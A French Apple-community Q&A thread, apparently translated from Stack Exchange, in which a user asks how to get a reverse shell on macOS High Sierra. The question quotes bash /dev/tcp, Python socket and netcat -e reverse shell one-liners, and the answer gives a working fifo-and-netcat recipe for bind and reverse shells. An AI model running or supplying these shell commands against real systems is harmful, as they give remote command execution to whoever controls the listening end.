4 votes

Créer un reverse shell en utilisant High Sierra ?

J'essaie pour créer un écouteur reverse shell en utilisant High Sierra mais rien ne semble fonctionner.

La commande bash se bloque dans le terminal et s'arrête.

bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

La commande Python affiche le message d'erreur "Connexion refusée" lorsque vous utilisez Python ou Python v2.7.

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

la commande netcat s'interrompt avec "nc : invalid option -e".

nc -e /bin/bash 0.0.0.0 8080

J'ai essayé d'autres solutions que j'ai trouvées en ligne, mais vous voyez l'idée...

Est-il possible de créer un reverse shell (de préférence avec accès à bash) en utilisant High Sierra ?

spécifications :

sh-3.2# system_profiler SPSoftwareDataType 
Software:

    System Software Overview:

      System Version: macOS 10.13.4 (17E199)
      Kernel Version: Darwin 17.5.0
      Boot Volume: lily
      Boot Mode: Normal
      Computer Name: lily’s MacBook Air
      User Name: System Administrator (root)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 2:03

6voto

H-man Points 1158

Si je comprends bien, vous voulez vous connecter à votre machine High Sierra depuis une source externe via quelque chose comme netcat (nc), envoyer des commandes à bash et afficher la réponse.

Il existe des moyens plus sûrs et plus simples de faire cela en utilisant ssh, mais en supposant qu'il s'agit d'une sorte d'expérience ou de développement, voici comment vous pouvez faire ce que vous demandez.

Ma réponse est basée sur une réponse que j'ai trouvée ailleurs sur SE ( https://superuser.com/a/607855 ), qui elle-même est basée sur d'autres réponses SO/SE.

Commencez par créer un fifo :

mkfifo myfifo

Puis lancez 'nc' en utilisant le fifo comme entrée, en envoyant sa sortie à bash, et en redirigeant la sortie de bash vers le fifo :

nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

(Le drapeau '-i' pour bash indique un shell interactif, et peut ne pas être souhaitable pour ce cas d'utilisation).

Depuis l'appareil distant (dans mes tests, moi-même) :

nc 127.0.0.1 8080

Si vous voulez inverser les rôles, c'est-à-dire que la machine High Sierra établit la connexion avec le périphérique distant et lui donne accès à bash sur l'hôte HS, vous devez déplacer l'indicateur listen (-l). Ainsi, le périphérique distant lancera netcat en premier en mode écoute :

nc -l 127.0.0.1 8080

Ensuite, l'hôte High Sierra se connectera à l'appareil distant :

nc 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

LesApples.com

LesApples est une communauté de Apple où vous pouvez résoudre vos problèmes et vos doutes. Vous pouvez consulter les questions des autres utilisateurs d'appareils Apple, poser vos propres questions ou résoudre celles des autres.

Powered by:

X